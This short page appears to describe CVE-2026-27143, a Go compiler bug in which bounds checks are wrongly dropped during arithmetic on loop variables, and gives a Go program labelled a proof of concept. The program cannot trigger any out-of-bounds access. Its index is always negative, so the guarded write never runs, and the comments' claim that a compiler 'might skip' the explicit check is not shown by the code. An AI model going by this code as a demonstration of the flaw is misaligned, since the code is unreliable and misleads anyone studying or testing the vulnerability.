CVE-2026-27143 Go编译器循环变量索引越界漏洞

package main import ( "fmt" ) // PoC for CVE-2026-27143: Induction Variable Arithmetic Overflow // This code demonstrates a pattern that may trigger the compiler bug // where bounds checks are incorrectly omitted due to arithmetic on induction variables. func main() { data := make([]byte, 10) // A loop where the induction variable 'i' is used in arithmetic // that might lead to underflow/overflow if not strictly checked. for i := 0; i < 10; i++ { // Simulate arithmetic operation on induction variable // Compiler might fail to check that (i - 10) is negative idx := i - 10 // If the compiler optimization incorrectly assumes 'idx' is safe, // this line will cause an out-of-bounds write/read at runtime. // In a real exploit, this leads to memory corruption. if idx >= 0 && idx < 10 { // Manual check to prevent panic in safe run, // but vulnerable compiler might skip this check internally data[idx] = 0x41 } } fmt.Println("PoC execution completed.") }